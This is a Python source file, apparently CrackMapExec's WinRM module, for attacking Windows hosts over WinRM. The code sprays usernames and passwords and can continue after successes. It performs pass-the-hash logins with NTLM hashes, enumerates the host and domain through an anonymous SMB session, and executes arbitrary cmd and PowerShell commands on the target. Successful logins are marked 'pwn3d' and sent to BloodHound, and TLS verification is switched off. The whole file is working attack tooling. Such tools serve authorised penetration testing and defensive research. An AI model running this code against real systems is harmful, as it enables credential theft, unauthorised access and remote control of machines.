232 lines
10 KiB
Python
232 lines
10 KiB
Python
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import requests
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import logging
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import configparser
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from impacket.smbconnection import SMBConnection, SessionError
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from cme.connection import *
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from cme.helpers.logger import highlight
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from cme.helpers.bloodhound import add_user_bh
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from cme.logger import CMEAdapter
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from io import StringIO
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from pypsrp.client import Client
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# The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message
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from requests.packages.urllib3.exceptions import InsecureRequestWarning
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requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
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class SuppressFilter(logging.Filter):
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# remove warning https://github.com/diyan/pywinrm/issues/269
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def filter(self, record):
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return 'wsman' not in record.getMessage()
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class winrm(connection):
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def __init__(self, args, db, host):
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self.domain = None
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self.server_os = None
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connection.__init__(self, args, db, host)
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@staticmethod
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def proto_args(parser, std_parser, module_parser):
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winrm_parser = parser.add_parser('winrm', help="own stuff using WINRM", parents=[std_parser, module_parser])
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winrm_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes')
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winrm_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2')
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winrm_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes")
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winrm_parser.add_argument("--port", type=int, default=0, help="Custom WinRM port")
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dgroup = winrm_parser.add_mutually_exclusive_group()
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dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to")
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dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target')
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cgroup = winrm_parser.add_argument_group("Command Execution", "Options for executing commands")
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cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output')
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cgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command")
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cgroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='execute the specified PowerShell command')
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return parser
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def proto_flow(self):
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self.proto_logger()
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if self.create_conn_obj():
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self.enum_host_info()
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self.print_host_info()
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if self.login():
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if hasattr(self.args, 'module') and self.args.module:
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self.call_modules()
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else:
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self.call_cmd_args()
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def proto_logger(self):
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self.logger = CMEAdapter(extra={'protocol': 'SMB',
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'host': self.host,
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'port': 'NONE',
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'hostname': 'NONE'})
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def enum_host_info(self):
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# smb no open, specify the domain
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if self.args.domain:
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self.domain = self.args.domain
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self.logger.extra['hostname'] = self.hostname
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else:
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try:
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smb_conn = SMBConnection(self.host, self.host, None)
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try:
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smb_conn.login('', '')
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except SessionError as e:
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if "STATUS_ACCESS_DENIED" in e.message:
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pass
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self.domain = smb_conn.getServerDNSDomainName()
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self.hostname = smb_conn.getServerName()
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self.server_os = smb_conn.getServerOS()
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self.logger.extra['hostname'] = self.hostname
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try:
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smb_conn.logoff()
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except:
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pass
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except Exception as e:
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logging.debug("Error retrieving host domain: {} specify one manually with the '-d' flag".format(e))
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if self.args.domain:
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self.domain = self.args.domain
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if self.args.local_auth:
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self.domain = self.hostname
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def print_host_info(self):
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if self.args.domain:
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self.logger.extra['protocol'] = "HTTP"
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self.logger.info(self.endpoint)
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else:
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self.logger.extra['protocol'] = "SMB"
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self.logger.info(u"{} (name:{}) (domain:{})".format(self.server_os,
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self.hostname,
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self.domain))
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self.logger.extra['protocol'] = "HTTP"
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self.logger.info(self.endpoint)
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self.logger.extra['protocol'] = "WINRM"
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def create_conn_obj(self):
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endpoints = [
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'https://{}:{}/wsman'.format(self.host, self.args.port if self.args.port else 5986),
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'http://{}:{}/wsman'.format(self.host, self.args.port if self.args.port else 5985)
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]
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for url in endpoints:
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try:
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requests.get(url, verify=False, timeout=3)
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self.endpoint = url
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if self.endpoint.startswith('https://'):
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self.port = self.args.port if self.args.port else 5986
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else:
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self.port = self.args.port if self.args.port else 5985
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self.logger.extra['port'] = self.port
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return True
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except Exception as e:
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if 'Max retries exceeded with url' not in str(e):
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logging.debug('Error in WinRM create_conn_obj:' + str(e))
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return False
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def plaintext_login(self, domain, username, password):
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try:
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from urllib3.connectionpool import log
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log.addFilter(SuppressFilter())
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self.conn = Client(self.host,
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auth='ntlm',
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username=u'{}\\{}'.format(domain, username),
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password=password,
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ssl=False)
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# TO DO: right now we're just running the hostname command to make the winrm library auth to the server
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# we could just authenticate without running a command :) (probably)
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self.conn.execute_ps("hostname")
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self.admin_privs = True
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self.logger.success(u'{}\\{}:{} {}'.format(self.domain,
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username,
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password,
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highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')))
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add_user_bh(self.username, self.domain, self.logger, self.config)
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if not self.args.continue_on_success:
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return True
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except Exception as e:
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if "with ntlm" in str(e):
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self.logger.error(u'{}\\{}:{}'.format(self.domain,
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username,
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password))
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else:
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self.logger.error(u'{}\\{}:{} "{}"'.format(self.domain,
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username,
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password,
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e))
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return False
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def hash_login(self, domain, username, ntlm_hash):
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try:
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from urllib3.connectionpool import log
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log.addFilter(SuppressFilter())
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lmhash = '00000000000000000000000000000000:'
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nthash = ''
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#This checks to see if we didn't provide the LM Hash
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if ntlm_hash.find(':') != -1:
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lmhash, nthash = ntlm_hash.split(':')
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else:
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nthash = ntlm_hash
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ntlm_hash = lmhash + nthash
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self.hash = nthash
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if lmhash: self.lmhash = lmhash
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if nthash: self.nthash = nthash
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self.conn = Client(self.host,
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auth='ntlm',
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username=u'{}\\{}'.format(domain, username),
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password=ntlm_hash,
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ssl=False)
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# TO DO: right now we're just running the hostname command to make the winrm library auth to the server
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# we could just authenticate without running a command :) (probably)
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self.conn.execute_ps("hostname")
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self.admin_privs = True
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self.logger.success(u'{}\\{}:{} {}'.format(self.domain,
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username,
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self.hash,
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highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')))
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add_user_bh(self.username, self.domain, self.logger, self.config)
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if not self.args.continue_on_success:
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return True
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except Exception as e:
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if "with ntlm" in str(e):
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self.logger.error(u'{}\\{}:{}'.format(self.domain,
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username,
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self.hash))
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else:
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self.logger.error(u'{}\\{}:{} "{}"'.format(self.domain,
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username,
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self.hash,
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e))
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return False
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def execute(self, payload=None, get_output=False):
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try:
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r = self.conn.execute_cmd(self.args.execute)
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except:
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self.logger.debug('Cannot execute cmd command, probably because user is not local admin, but powershell command should be ok !')
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r = self.conn.execute_ps(self.args.execute)
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self.logger.success('Executed command')
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self.logger.highlight(r[0])
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def ps_execute(self, payload=None, get_output=False):
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r = self.conn.execute_ps(self.args.ps_execute)
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self.logger.success('Executed command')
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self.logger.highlight(r[0]) |